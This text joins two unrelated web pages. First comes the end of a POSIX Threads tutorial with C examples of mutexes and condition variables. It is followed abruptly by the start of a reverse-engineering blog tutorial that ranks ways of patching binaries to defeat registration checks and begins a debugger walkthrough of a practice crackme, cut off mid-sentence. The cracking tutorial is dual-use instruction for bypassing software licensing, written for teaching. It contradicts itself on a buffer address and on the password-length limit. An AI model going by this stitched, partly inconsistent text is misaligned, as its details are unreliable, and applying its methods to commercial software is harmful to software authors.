  * When protecting shared data, it is the programmer's responsibility to make sure every thread that needs to use a mutex does so. For example, if 4 threads are updating the same data, but only one uses a mutex, the data can still be corrupted. 

  
  
Mutex Variables  
---  
## Creating and Destroying Mutexes

<img
src='https://computing.llnl.gov/tutorials/pthreads//../images/arrowBullet.gif'
/> Routines:

`** pthread_mutex_init (mutex,attr) **``** pthread_mutex_destroy (mutex)
**``****``** pthread_mutexattr_init (attr) **``****``**
pthread_mutexattr_destroy (attr) **`  
---  
<img
src='https://computing.llnl.gov/tutorials/pthreads//../images/arrowBullet.gif'
/> Usage:

  * Mutex variables must be declared with type `pthread_mutex_t`, and must be initialized before they can be used. There are two ways to initialize a mutex variable: 
  * Statically, when it is declared. For example:   
`pthread_mutex_t mymutex = PTHREAD_MUTEX_INITIALIZER;`

  * Dynamically, with the `pthread_mutex_init()` routine. This method permits setting mutex object attributes, _attr_. 

The mutex is initially unlocked.

  * The _attr_ object is used to establish properties for the mutex object, and must be of type `pthread_mutexattr_t` if used \(may be specified as NULL to accept defaults\). The Pthreads standard defines three optional mutex attributes: 
    * Protocol: Specifies the protocol used to prevent priority inversions for a mutex. 
    * Prioceiling: Specifies the priority ceiling of a mutex. 
    * Process-shared: Specifies the process sharing of a mutex. 
Note that not all implementations may provide the three optional mutex
attributes.

  * The `pthread_mutexattr_init()` and `pthread_mutexattr_destroy()` routines are used to create and destroy mutex attribute objects respectively. 
  * `pthread_mutex_destroy()` should be used to free a mutex object which is no longer needed. 

  
  
Mutex Variables  
---  
## Locking and Unlocking Mutexes

<img
src='https://computing.llnl.gov/tutorials/pthreads//../images/arrowBullet.gif'
/> Routines:

`** pthread_mutex_lock (mutex) **``** pthread_mutex_trylock (mutex)
**``****``** pthread_mutex_unlock (mutex) **`  
---  
<img
src='https://computing.llnl.gov/tutorials/pthreads//../images/arrowBullet.gif'
/> Usage:

  * The `pthread_mutex_lock()` routine is used by a thread to acquire a lock on the specified _mutex_ variable. If the mutex is already locked by another thread, this call will block the calling thread until the mutex is unlocked. 
  * `pthread_mutex_trylock()` will attempt to lock a mutex. However, if the mutex is already locked, the routine will return immediately with a "busy" error code. This routine may be useful in preventing deadlock conditions, as in a priority-inversion situation. 
  * `pthread_mutex_unlock()` will unlock a mutex if called by the owning thread. Calling this routine is required after a thread has completed its use of protected data if other threads are to acquire the mutex for their work with the protected data. An error will be returned if: 
    * If the mutex was already unlocked 
    * If the mutex is owned by another thread 
  * There is nothing "magical" about mutexes...in fact they are akin to a "gentlemen's agreement" between participating threads. It is up to the code writer to insure that the necessary threads all make the the mutex lock and unlock calls correctly. The following scenario demonstrates a logical error: 
[code]        **Thread 1     Thread 2     Thread 3**

        Lock         Lock         
        A = 2        A = A+1      A = A*B
        Unlock       Unlock    
    
[/code]

| <img
src='https://computing.llnl.gov/tutorials/pthreads//../images/question2.gif'
width='29' height='39' />| Question: When more than one thread is waiting for
a locked mutex, which thread will be granted the lock first after it is
released?  
  
---|---|---  
* * *
## Example: Using Mutexes

<img src='https://computing.llnl.gov/tutorials/pthreads//../images/page01.gif'
width='20' height='22' /> **Example Code - Using Mutexes**

This example program illustrates the use of mutex variables in a threads
program that performs a dot product. The main data is made available to all
threads through a globally accessible structure. Each thread works on a
different part of the data. The main thread waits for all the threads to
complete their computations, and then it prints the resulting sum.

* * *
[code]

    #include <pthread.h>
    #include <stdio.h>
    #include <stdlib.h>
    
    /*   
    The following structure contains the necessary information  
    to allow the function "dotprod" to access its input data and 
    place its output into the structure.  
    */
    
    typedef struct 
     {
       double      *a;
       double      *b;
       double     sum; 
       int     veclen; 
     } DOTDATA;
    
    /* Define globally accessible variables and a mutex */
    
    #define NUMTHRDS 4
    #define VECLEN 100
       DOTDATA dotstr; 
       pthread_t callThd[NUMTHRDS];
       pthread_mutex_t mutexsum;
    
    /*
    The function dotprod is activated when the thread is created.
    All input to this routine is obtained from a structure 
    of type DOTDATA and all output from this function is written into
    this structure. The benefit of this approach is apparent for the 
    multi-threaded program: when a thread is created we pass a single
    argument to the activated function - typically this argument
    is a thread number. All  the other information required by the 
    function is accessed from the globally accessible structure. 
    */
    
    void *dotprod(void *arg)
    {
    
       /* Define and use local variables for convenience */
    
       int i, start, end, len ;
       long offset;
       double mysum, *x, *y;
       offset = (long)arg;
         
       len = dotstr.veclen;
       start = offset*len;
       end   = start + len;
       x = dotstr.a;
       y = dotstr.b;
    
       /*
       Perform the dot product and assign result
       to the appropriate variable in the structure. 
       */
    
       mysum = 0;
       for (i=start; i<end ; i++) 
        {
          mysum += (x[i] * y[i]);
        }
    
       /*
       Lock a mutex prior to updating the value in the shared
       structure, and unlock it upon updating.
       */
       pthread_mutex_lock (&mutexsum);
       dotstr.sum += mysum;
       pthread_mutex_unlock (&mutexsum);
    
       pthread_exit((void*) 0);
    }
    
    /* 
    The main program creates threads which do all the work and then 
    print out result upon completion. Before creating the threads,
    the input data is created. Since all threads update a shared structure, 
    we need a mutex for mutual exclusion. The main thread needs to wait for
    all threads to complete, it waits for each one of the threads. We specify
    a thread attribute value that allow the main thread to join with the
    threads it creates. Note also that we free up handles when they are
    no longer needed.
    */
    
    int main (int argc, char *argv[])
    {
       long i;
       double *a, *b;
       void *status;
       pthread_attr_t attr;
    
       /* Assign storage and initialize values */
       a = (double*) malloc (NUMTHRDS*VECLEN*sizeof(double));
       b = (double*) malloc (NUMTHRDS*VECLEN*sizeof(double));
      
       for (i=0; i<VECLEN*NUMTHRDS; i++)
        {
         a[i]=1.0;
         b[i]=a[i];
        }
    
       dotstr.veclen = VECLEN; 
       dotstr.a = a; 
       dotstr.b = b; 
       dotstr.sum=0;
    
       pthread_mutex_init(&mutexsum, NULL);
             
       /* Create threads to perform the dotproduct  */
       pthread_attr_init(&attr);
       pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_JOINABLE);
    
    	for(i=0; i<NUMTHRDS; i++)
            {
    	/* 
    	Each thread works on a different set of data.
    	The offset is specified by 'i'. The size of
    	the data for each thread is indicated by VECLEN.
    	*/
    	pthread_create(&callThd[i], &attr, dotprod, (void *)i);
    	}
    
     	pthread_attr_destroy(&attr);
    
            /* Wait on the other threads */
    	for(i=0; i<NUMTHRDS; i++)
            {
    	  pthread_join(callThd[i], &status);
    	}
    
       /* After joining, print out the results and cleanup */
       printf ("Sum =  %f \n", dotstr.sum);
       free (a);
       free (b);
       pthread_mutex_destroy(&mutexsum);
       pthread_exit(NULL);
    }   
    
[/code]

<img
src='https://computing.llnl.gov/tutorials/pthreads//../images/source1.gif'
width='65' height='20' alt='View source code' /> _Serial version_  
<img
src='https://computing.llnl.gov/tutorials/pthreads//../images/source1.gif'
width='65' height='20' alt='View source code' /> _Pthreads version_  
---  
  
  
Condition Variables  
---  
## Overview

  * Condition variables provide yet another way for threads to synchronize. While mutexes implement synchronization by controlling thread access to data, condition variables allow threads to synchronize based upon the actual value of data. 
  * Without condition variables, the programmer would need to have threads continually polling \(possibly in a critical section\), to check if the condition is met. This can be very resource consuming since the thread would be continuously busy in this activity. A condition variable is a way to achieve the same goal without polling. 
  * A condition variable is always used in conjunction with a mutex lock. 
  * A representative sequence for using condition variables is shown below. 
Main Thread

    * Declare and initialize global data/variables which require synchronization \(such as "count"\) 
    * Declare and initialize a condition variable object 
    * Declare and initialize an associated mutex 
    * Create threads A and B to do work   
---  
Thread A

    * Do work up to the point where a certain condition must occur \(such as "count" must reach a specified value\) 
    * Lock associated mutex and check value of a global variable 
    * Call `pthread_cond_wait()` to perform a blocking wait for signal from Thread-B. Note that a call to `pthread_cond_wait()` automatically and atomically unlocks the associated mutex variable so that it can be used by Thread-B. 
    * When signalled, wake up. Mutex is automatically and atomically locked. 
    * Explicitly unlock mutex 
    * Continue 
|  Thread B

    * Do work 
    * Lock associated mutex 
    * Change the value of the global variable that Thread-A is waiting upon. 
    * Check value of the global Thread-A wait variable. If it fulfills the desired condition, signal Thread-A. 
    * Unlock mutex. 
    * Continue   
Main Thread Join / Continue  

  
  
Condition Variables  
---  
## Creating and Destroying Condition Variables

<img
src='https://computing.llnl.gov/tutorials/pthreads//../images/arrowBullet.gif'
/> Routines:

`** pthread_cond_init (condition,attr) **``** pthread_cond_destroy (condition)
**``****``** pthread_condattr_init (attr) **``****``**
pthread_condattr_destroy (attr) **`  
---  
<img
src='https://computing.llnl.gov/tutorials/pthreads//../images/arrowBullet.gif'
/> Usage:

  * Condition variables must be declared with type `pthread_cond_t`, and must be initialized before they can be used. There are two ways to initialize a condition variable: 
  * Statically, when it is declared. For example:   
`pthread_cond_t myconvar = PTHREAD_COND_INITIALIZER;`

  * Dynamically, with the `pthread_cond_init()` routine. The ID of the created condition variable is returned to the calling thread through the _condition_ parameter. This method permits setting condition variable object attributes, _attr_. 

  * The optional _attr_ object is used to set condition variable attributes. There is only one attribute defined for condition variables: process-shared, which allows the condition variable to be seen by threads in other processes. The attribute object, if used, must be of type `pthread_condattr_t` \(may be specified as NULL to accept defaults\). 
Note that not all implementations may provide the process-shared attribute.

  * The `pthread_condattr_init()` and `pthread_condattr_destroy()` routines are used to create and destroy condition variable attribute objects. 
  * `pthread_cond_destroy()` should be used to free a condition variable that is no longer needed. 

  
  
Condition Variables  
---  
## Waiting and Signaling on Condition Variables

<img
src='https://computing.llnl.gov/tutorials/pthreads//../images/arrowBullet.gif'
/> Routines:

`** pthread_cond_wait (condition,mutex) **``** pthread_cond_signal (condition)
**``****``** pthread_cond_broadcast (condition) **`  
---  
<img
src='https://computing.llnl.gov/tutorials/pthreads//../images/arrowBullet.gif'
/> Usage:

  * `pthread_cond_wait()` blocks the calling thread until the specified _condition_ is signalled. This routine should be called while _mutex_ is locked, and it will automatically release the mutex while it waits. After signal is received and thread is awakened, _mutex_ will be automatically locked for use by the thread. The programmer is then responsible for unlocking _mutex_ when the thread is finished with it. 
  * The `pthread_cond_signal()` routine is used to signal \(or wake up\) another thread which is waiting on the condition variable. It should be called after _mutex_ is locked, and must unlock _mutex_ in order for `pthread_cond_wait()` routine to complete. 
  * The `pthread_cond_broadcast()` routine should be used instead of `pthread_cond_signal()` if more than one thread is in a blocking wait state. 
  * It is a logical error to call `pthread_cond_signal()` before calling `pthread_cond_wait()`. 

<img src='https://computing.llnl.gov/tutorials/pthreads//../images/warning5.gif' width='HEIGHT=' /> | Proper locking and unlocking of the associated mutex variable is essential when using these routines. For example: 
  * Failing to lock the mutex before calling `pthread_cond_wait()` may cause it NOT to block. 
  * Failing to unlock the mutex after calling `pthread_cond_signal()` may not allow a matching `pthread_cond_wait()` routine to complete \(it will remain blocked\). 

  
---|---  
* * *
## Example: Using Condition Variables

<img src='https://computing.llnl.gov/tutorials/pthreads//../images/page01.gif'
width='20' height='22' /> **Example Code - Using Condition Variables**

This simple example code demonstrates the use of several Pthread condition
variable routines. The main routine creates three threads. Two of the threads
perform work and update a "count" variable. The third thread waits until the
count variable reaches a specified value.

* * *
[code]

    #include <pthread.h>
    #include <stdio.h>
    #include <stdlib.h>
    
    #define NUM_THREADS  3
    #define TCOUNT 10
    #define COUNT_LIMIT 12
    
    int     count = 0;
    int     thread_ids[3] = {0,1,2};
    pthread_mutex_t count_mutex;
    pthread_cond_t count_threshold_cv;
    
    void *inc_count(void *t) 
    {
      int i;
      long my_id = (long)t;
    
      for (i=0; i<TCOUNT; i++) {
        pthread_mutex_lock(&count_mutex);
        count++;
    
        /* 
        Check the value of count and signal waiting thread when condition is
        reached.  Note that this occurs while mutex is locked. 
        */
        if (count == COUNT_LIMIT) {
          pthread_cond_signal(&count_threshold_cv);
          printf("inc_count(): thread %ld, count = %d  Threshold reached.\n", 
                 my_id, count);
          }
        printf("inc_count(): thread %ld, count = %d, unlocking mutex\n", 
    	   my_id, count);
        pthread_mutex_unlock(&count_mutex);
    
        /* Do some "work" so threads can alternate on mutex lock */
        sleep(1);
        }
      pthread_exit(NULL);
    }
    
    void *watch_count(void *t) 
    {
      long my_id = (long)t;
    
      printf("Starting watch_count(): thread %ld\n", my_id);
    
      /*
      Lock mutex and wait for signal.  Note that the pthread_cond_wait 
      routine will automatically and atomically unlock mutex while it waits. 
      Also, note that if COUNT_LIMIT is reached before this routine is run by
      the waiting thread, the loop will be skipped to prevent pthread_cond_wait
      from never returning. 
      */
      pthread_mutex_lock(&count_mutex);
      while (count<COUNT_LIMIT) {
        pthread_cond_wait(&count_threshold_cv, &count_mutex);
        printf("watch_count(): thread %ld Condition signal received.\n", my_id);
        count += 125;
        printf("watch_count(): thread %ld count now = %d.\n", my_id, count);
        }
      pthread_mutex_unlock(&count_mutex);
      pthread_exit(NULL);
    }
    
    int main (int argc, char *argv[])
    {
      int i, rc;
      long t1=1, t2=2, t3=3;
      pthread_t threads[3];
      pthread_attr_t attr;
    
      /* Initialize mutex and condition variable objects */
      pthread_mutex_init(&count_mutex, NULL);
      pthread_cond_init (&count_threshold_cv, NULL);
    
      /* For portability, explicitly create threads in a joinable state */
      pthread_attr_init(&attr);
      pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_JOINABLE);
      pthread_create(&threads[0], &attr, watch_count, (void *)t1);
      pthread_create(&threads[1], &attr, inc_count, (void *)t2);
      pthread_create(&threads[2], &attr, inc_count, (void *)t3);
    
      /* Wait for all threads to complete */
      for (i=0; i<NUM_THREADS; i++) {
        pthread_join(threads[i], NULL);
      }
      printf ("Main(): Waited on %d  threads. Done.\n", NUM_THREADS);
    
      /* Clean up and exit */
      pthread_attr_destroy(&attr);
      pthread_mutex_destroy(&count_mutex);
      pthread_cond_destroy(&count_threshold_cv);
      pthread_exit(NULL);
    
    }
    
[/code]

<img
src='https://computing.llnl.gov/tutorials/pthreads//../images/source1.gif'
width='65' height='20' alt='View source code' /> <img
src='https://computing.llnl.gov/tutorials/pthreads//../images/output1.gif'
width='65' height='20' alt='View sample output' />  
---  
  
  
LLNL Specific Information and Recommendations  
---  
  
This section describes details specific to Livermore Computing's systems.

<img
src='https://computing.llnl.gov/tutorials/pthreads//../images/arrowBullet.gif'
/> Implementations:

  * All LC production systems include a Pthreads implementation that follows draft 10 \(final\) of the POSIX standard. This is the preferred implementation. 
  * Implementations differ in the maximum number of threads that a process may create. They also differ in the default amount of thread stack space. 

<img
src='https://computing.llnl.gov/tutorials/pthreads//../images/arrowBullet.gif'
/> Compiling:

  * LC maintains a number of compilers, and usually several different versions of each - see the LC's Supported Compilers web page. 
  * The compiler commands described in the Compiling Threaded Programs section apply to LC systems. 

<img
src='https://computing.llnl.gov/tutorials/pthreads//../images/arrowBullet.gif'
/> Mixing MPI with Pthreads:

  * This is the primary motivation for using Pthreads at LC. 
  * Design: 
    * Each MPI process typically creates and then manages N threads, where N makes the best use of the available CPUs/node. 
    * Finding the best value for N will vary with the platform and your application's characteristics. 
    * For IBM SP systems with two communication adapters per node, it may prove more efficient to use two \(or more\) MPI tasks per node. 
    * In general, there may be problems if multiple threads make MPI calls. The program may fail or behave unexpectedly. If MPI calls must be made from within a thread, they should be made only by one thread. 
  * Compiling: 
    * Use the appropriate MPI compile command for the platform and language of choice 
    * Be sure to include the required Pthreads flag as shown in the Compiling Threaded Programs section. 
  * An example code that uses both MPI and Pthreads is available below. The serial, threads-only, MPI-only and MPI-with-threads versions demonstrate one possible progression. 
    * Serial
    * Pthreads only
    * MPI only 
    * MPI with pthreads
    * makefile \(for IBM SP\) 

<img
src='https://computing.llnl.gov/tutorials/pthreads//../images/arrowBullet.gif'
/> Monitoring and Debugging Threads:

  * Debuggers vary in their ability to handle threads. The TotalView debugger is LC's recommended debugger for parallel programs, and is well suited for debugging threaded programs. See the TotalView Debugger tutorial for details. 
  * The Linux **`ps`** command provides several flags for viewing thread information. Some examples are shown below. See the man page for details. 
[code]     % ps -Lf

    UID        PID  PPID   LWP  C NLWP STIME TTY          TIME CMD
    blaise   22529 28240 22529  0    5 11:31 pts/53   00:00:00 a.out
    blaise   22529 28240 22530 99    5 11:31 pts/53   00:01:24 a.out
    blaise   22529 28240 22531 99    5 11:31 pts/53   00:01:24 a.out
    blaise   22529 28240 22532 99    5 11:31 pts/53   00:01:24 a.out
    blaise   22529 28240 22533 99    5 11:31 pts/53   00:01:24 a.out
    
    % ps -T 
      PID  SPID TTY          TIME CMD
    22529 22529 pts/53   00:00:00 a.out
    22529 22530 pts/53   00:01:49 a.out
    22529 22531 pts/53   00:01:49 a.out
    22529 22532 pts/53   00:01:49 a.out
    22529 22533 pts/53   00:01:49 a.out
    
    % ps -Lm 
      PID   LWP TTY          TIME CMD
    22529     - pts/53   00:18:56 a.out
        - 22529 -        00:00:00 -
        - 22530 -        00:04:44 -
        - 22531 -        00:04:44 -
        - 22532 -        00:04:44 -
        - 22533 -        00:04:44 -
    
[/code]  
---  
  * LC's Linux clusters also provide the **`top`** command to monitor processes on a node. If used with the **`-H`** flag, the threads contained within a process will be visible. An example of the **`top -H`** command is shown below. The parent process is PID 18010 which spawned three threads, shown as PIDs 18012, 18013 and 18014. 
<img src='img/Temp2_6075.gif' width='653' height='322' alt='top -H command' />

  
  
Topics Not Covered  
---  
  
Several features of the Pthreads API are not covered in this tutorial. These
are listed below. See the Pthread Library Routines Reference section for more
information.

  * Thread Scheduling 
    * Implementations will differ on how threads are scheduled to run. In most cases, the default mechanism is adequate. 
    * The Pthreads API provides routines to explicitly set thread scheduling policies and priorities which may override the default mechanisms. 
    * The API does not require implementations to support these features. 
  * Keys: Thread-Specific Data 
    * As threads call and return from different routines, the local data on a thread's stack comes and goes. 
    * To preserve stack data you can usually pass it as an argument from one routine to the next, or else store the data in a global variable associated with a thread. 
    * Pthreads provides another, possibly more convenient and versatile, way of accomplishing this through **_keys_**. 
  * Mutex Protocol Attributes and Mutex Priority Management for the handling of "priority inversion" problems. 
  * Condition Variable Sharing - across processes 
  * Thread Cancellation 
  * Threads and Signals 
  * Synchronization constructs - barriers and locks 

  
  
Pthread Library Routines Reference  
---  
  

For convenience, an alphabetical list of Pthread routines, linked to their
corresponding man page, is provided below.

pthread\_atfork  
pthread\_attr\_destroy  
pthread\_attr\_getdetachstate  
pthread\_attr\_getguardsize  
pthread\_attr\_getinheritsched  
pthread\_attr\_getschedparam  
pthread\_attr\_getschedpolicy  
pthread\_attr\_getscope  
pthread\_attr\_getstack  
pthread\_attr\_getstackaddr  
pthread\_attr\_getstacksize  
pthread\_attr\_init  
pthread\_attr\_setdetachstate  
pthread\_attr\_setguardsize  
pthread\_attr\_setinheritsched  
pthread\_attr\_setschedparam  
pthread\_attr\_setschedpolicy  
pthread\_attr\_setscope  
pthread\_attr\_setstack  
pthread\_attr\_setstackaddr  
pthread\_attr\_setstacksize  
pthread\_barrier\_destroy  
pthread\_barrier\_init  
pthread\_barrier\_wait  
pthread\_barrierattr\_destroy  
pthread\_barrierattr\_getpshared  
pthread\_barrierattr\_init  
pthread\_barrierattr\_setpshared  
pthread\_cancel  
pthread\_cleanup\_pop  
pthread\_cleanup\_push  
pthread\_cond\_broadcast  
pthread\_cond\_destroy  
pthread\_cond\_init  
pthread\_cond\_signal  
pthread\_cond\_timedwait  
pthread\_cond\_wait  
pthread\_condattr\_destroy  
pthread\_condattr\_getclock  
pthread\_condattr\_getpshared  
pthread\_condattr\_init  
pthread\_condattr\_setclock  
pthread\_condattr\_setpshared  
pthread\_create  
pthread\_detach  
pthread\_equal  
pthread\_exit  
pthread\_getconcurrency  
pthread\_getcpuclockid  
pthread\_getschedparam  
pthread\_getspecific  
pthread\_join  
pthread\_key\_create  
pthread\_key\_delete  
pthread\_kill  
pthread\_mutex\_destroy  
pthread\_mutex\_getprioceiling  
pthread\_mutex\_init  
pthread\_mutex\_lock  
pthread\_mutex\_setprioceiling  
pthread\_mutex\_timedlock  
pthread\_mutex\_trylock  
pthread\_mutex\_unlock  
pthread\_mutexattr\_destroy  
pthread\_mutexattr\_getprioceiling  
pthread\_mutexattr\_getprotocol  
pthread\_mutexattr\_getpshared  
pthread\_mutexattr\_gettype  
pthread\_mutexattr\_init  
pthread\_mutexattr\_setprioceiling  
pthread\_mutexattr\_setprotocol  
pthread\_mutexattr\_setpshared  
pthread\_mutexattr\_settype  
pthread\_once  
pthread\_rwlock\_destroy  
pthread\_rwlock\_init  
pthread\_rwlock\_rdlock  
pthread\_rwlock\_timedrdlock  
pthread\_rwlock\_timedwrlock  
pthread\_rwlock\_tryrdlock  
pthread\_rwlock\_trywrlock  
pthread\_rwlock\_unlock  
pthread\_rwlock\_wrlock  
pthread\_rwlockattr\_destroy  
pthread\_rwlockattr\_getpshared  
pthread\_rwlockattr\_init  
pthread\_rwlockattr\_setpshared  
pthread\_self  
pthread\_setcancelstate  
pthread\_setcanceltype  
pthread\_setconcurrency  
pthread\_setschedparam  
pthread\_setschedprio  
pthread\_setspecific  
pthread\_sigmask  
pthread\_spin\_destroy  
pthread\_spin\_init  
pthread\_spin\_lock  
pthread\_spin\_trylock  
pthread\_spin\_unlock  
pthread\_testcancel

* * *
**This completes the tutorial.**

<img src='https://computing.llnl.gov/tutorials/pthreads//../images/evaluationForm.gif' alt='Evaluation Form' /> | Please complete the online evaluation form - unless you are doing the exercise, in which case please complete it at the end of the exercise.  
---|---  
**Where would you like to go now?**

  * Exercise
  * Agenda
  * Back to the top

  
  
References and More Information  
---  
  

  * Author: Blaise Barney, Livermore Computing. 
  * POSIX Standard:  www.unix.org/version3/ieee\_std.html
  * "Pthreads Programming". B. Nichols et al. O'Reilly and Associates. 
  * "Threads Primer". B. Lewis and D. Berg. Prentice Hall 
  * "Programming With POSIX Threads". D. Butenhof. Addison Wesley   
www.awl.com/cseng/titles/0-201-63392-2

  * "Programming With Threads". S. Kleiman et al. Prentice Hall 

  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  

# R4ndom’s Tutorial \#10: The Levels Of Patching « The Legend Of Random

**Created:**| _7/3/2012 7:48:10 PM_  
---|---  
**Updated:**| _7/3/2012 7:48:10 PM_  
**Author:**| __  
**Tags:**| _Debugging crackers iDA olly_  
  

## R4ndom’s Tutorial \#10: The Levels Of Patching

by R4ndom on Jun.29, 2012, under Beginner, Reverse Engineering, Tutorials

## Introduction

In this tutorial we will be discussing the different levels to patching a
binary. This tutorial is a little on the long and detailed side, but we will
be covering a lot of ground, some of which is not that easy. I wanted to give
you an example of deep analysis on a binary, and what it entails. You may not
understand a great deal of it, but it will give you a good overall view of
reverse engineering. This way, in future tutorials, you will have a frame of
reference. We will be studying the same crackme as last tutorial, Crackme6 by
“TDC”, included in the download. Overall, it’s not a tough crackme as we saw
in the last tut, but we will be doing some advanced analysis on it, preparing
for future tutorials. So sit back, grab a coffee/cigarette/candy
bar/hypodermic needle, whatever gets you going, and let’s get started…

## Levels Of Cracking

There is a sort of an unwritten rule of reverse engineering \(and especially
cracking\) about the different levels of patching a binary. There are
basically four levels of patching a binary \(and I’m sure at least half of
every reverse engineer out there will argue with me on that number <img
src='img/Temp2_6670.gif' alt=';)' /> \) Of course, because everything sounds
better as an acronym, I have come up with one for all four levels. So, without
further ado, here is your guide to the levels of patching, and what they mean:

**Level 1 – LAME**

The LAME method, or **_Localized Assembly Manipulation and Enhancing_**
method, is what we have gone over so far. It means find the first place in the
code that you can find the magic compare/jump decision and either NOP it out
or force it to jump. This method has worked magically for us so far. Of
course, we have been working on simple crackmes \(half of which I coded
specifically for the tutorial\). Unfortunately, most apps out there aren’t
quite this easy. There are many things that can go wrong with the LAME method,
including:

1\. Many, many apps do more than one check for if the program is registered,
always from different parts of the app, so just because you patch one does not
mean there won’t be several more \(I think 19 separate checks is the most I’ve
seen\). And sometimes these other checks aren’t done until some other event
happens, so you will find yourself going back to the same app searching for
alternative checks to patch.

2\. Many programs also do many special tricks to avoid the compare/jump combo
being obvious. Whether it’s performed in a DLL, performed in another thread,
modified polymorphically, there are many ways around making this obvious.

3\. Sometimes you end up patching an awful lot of code. Maybe you patch 7
checks for if we’re registered, NOPping out other checks and so forth. This
can get confusing and, let’s face it, it’s not very elegant.

4\. You don’t learn a heck of a lot only using this method, and if you’re
reading these tutorials, it’s probably because you’re interested in the topic
and want to learn.

All that being said, sometimes the most elegant solution, which is often also
the simplest, is a single patch on the compare/jump combo, so don’t take me
the wrong way and think you should never use it. In fact, of the many programs
I have reverse engineered, I would guess 25-40% were solved using a simple
patch like this. So it can be a powerful method <img src='img/Temp2_6670.gif'
alt=';)' />

**Level 2 – NOOB**

This method, the _**Not Only Obvious Breakpoints**_ method usually involves
going one step deeper than the LAME method. It generally involves stepping
into the call right before the compare/jump combo to see what is causing the
compare/jump combo to come out the way it does. The benefit of this technique
is that you have a lot more chance of catching other parts of the code that
will call this same routine to check for registration, so patching in one
place can really patch in several- every location that the binary calls the
check registration routine. Of course this method also has some shortcomings,
some of which are:

1\. Sometimes this routine is used for more than just a registration check.
For example, it may be a generic function that compares two strings, returning
true or false whether they match. In the case of our serial matching, this is
the place to patch, but what happens if this same method is then called with
two different strings and we’ve patched it to always return true \(or false,
as the case may be\)?

2\. This method requires more time and experimentation to determine what the
best options are for returning the correct values. This takes time and skill.

This is the first method we will use in this tutorial.

**Level 3 – SKILLED  
**

The SKILLED method, or _**Some Knowledge In Lower Level Engineered Data**_ ,
is similar to the **NOOB** method except it means you actually go through the
routine and completely reverse engineer it to see exactly what’s happening.
This gives many benefits such as understanding any tricks being used \(like
storing variables in memory for later retrieval\), offering many more places
to patch that are easier and less intrusive, and giving an insight into how
the program works. It also gives you as a reverse engineer a lot of knowledge
that can be used in the future, not to mention your assembly language skills.

The main shortcomings of this method are that it’s more difficult and takes
more time. My suggestion to you is to try this method on at least a couple
programs, because nothing will make you a better reverse engineer than
spending time digging through code, the stack, registers and memory, trying to
get a feel for what the author was trying to do. This is the method we will be
using in the last part of this tutorial.

**Level 4 – SK1LL$**

Thought of as the holy grail of cracking, _**Serial Keygenning In Low-level
Languages, Stupid**_ means that you not only have gone through and figured out
exactly how the registration process is performed, but you are also able to
re-create it. This allows a new user to type in whatever username they want,
and the keygenner’s code will spit out a proper serial that will work with
this binary. The general way a keygen is made is to try to use the programs
own code against it, meaning copying the code the author used to decrypt
serials and use it to encrypt them. This code is usually put in some sort of
wrapper program made specifically to accept ripped code \(it provides the GUI
and such.\)

The ultimate in skill$ is if the code cannot be ripped from the app and must
be custom coded to provide a viable serial. This means you must completely
understand how the app decrypts the serial and compares it to what you have
entered. You then must code your own program that performs this same routine,
only in reverse, many times written in assembly language.

Obviously, the major shortcomings with this method are the sk1ll$ involved.

So, in light of our new understanding of the levels in reverse engineering…

## Looking At The App In Level 2

Let’s re-start the app and run it again. Set the breakpoint on GetDlgItemTextA
\(see last tut\), enter a password \(I entered “12121212″\) and click “Check”
so Olly breaks at our GetDlgItemTextA:

<img src='img/Temp2_6649.gif' width='739' height='100' />

Now let’s get some info on GetDlgItemTextA:

<img src='img/Temp2_6665.gif' width='647' height='744' />

Here’s the important parts for us: One of the arguments is a pointer to a
buffer where the password will be stored \(lpString\), and the return value in
EAX is the string’s length:

<img src='img/Temp2_6651.gif' width='610' height='93' />

The pointer to the string buffer, as you can see above at address 40125a, is
40205D \(Olly puts a comment of ‘Buffer=’ because he can guess the
arguments\). That means that this function will copy our dialog text into a
buffer starting at 40205D, and will return the length of this string in EAX.
So, in our case, the password entered, “12121212″ will be retrieved and
returned with the length of the password in EAX, in this case 8. Now, if you
look at the next two lines you’ll notice that this value is compared to 0x0B
\(11 decimal\) and the program will jump if EAX is less than this amount. This
really means that if the length of our password \(EAX\) is less than 0x0B \(11
digits\) then jump. You’ll notice that if we don’t jump, we will fall through
to the bad boy, so in effect, this means our password must be less than 11
digits:

<img src='img/Temp2_6676.gif' width='599' height='96' />

See\!\! We have learned something already- our password must be at most 11
digits <img src='img/Temp2_6653.gif' alt=':)' /> . Now since our password was
less than 11 digits we will go ahead and take the jump. \(If you happened to
put in a password longer than 11 digits, restart the app and put a new one in
less than 11 digits, then step to where we are here.\)

<img src='img/Temp2_6633.gif' width='678' height='111' />

Next you will notice that EAX, which still contains the length of our
password, is tested if it’s zero, and if it’s not, it jumps past the second
bad boy. So now we know that the first bad boy is for situations where our
password is longer than 11 digits, and the second bad boy is if it’s zero
digits.

Now notice that, after we take the jump, the next two lines, starting at
address 401282, PUSH EAX \(the password length\), and the address 40305D \(the
buffer that our password was stored in\) on to the stack. Looking at the stack
we can see this in action:

<img src='img/Temp2_6647.gif' width='326' height='72' />

Notice first \(at address 18FAB0\) the length \(8\) was pushed and then at
address 18FAAC the address 40305D was pushed, which Olly has helpfully shown
you is “12121212″, or our password. Now we know that our password is stored in
memory at address 40305D. This will be important later <img
src='img/Temp2_6653.gif' alt=':)' /> . Later, Olly will refer to these two
values as ARG.1 and ARG.2, as they are arguments passed to this function. Now
after these two values are pushed, we will call the main registration routine
\(we know this because it’s the call right before the all important
compare/jump combo, so it’s outcome will determine whether we jump to the good
boy or bad boy\), at address 401298.

<img src='img/Temp2_6668.gif' width='722' height='96' />

Keep Olly paused at the CALL line but notice after the call, EAX is OR’d with
itself \(will set the zero flag depending on whether EAX is zero or not\) at
address 40129D and will jump over the good message if EAX is not zero. This
means that the registration routine called at address 401298 will, at some
point, put a value into EAX and RETN this value, which will then be checked if
it is zero or not, and if it is not, we will show the bad boy message. So we
must make sure that in this call, EAX equals 0 when it returns\! If we can
accomplish this, it would be the only patch that would be needed \(as well as
the password being between 0 and 11 digits restriction, but that’s an easy
patch\). Let’s go ahead and step into the registration routine at address
401298 and get an overview:

<img src='img/Temp2_6642.gif' width='700' height='447' />

Wow, that’s a lot to take in, especially as you’re probably only half way
through your assembly book <img src='img/Temp2_6675.gif' alt=':D' /> . But it
is not impossible. The technique I usually use is to go to the end of the
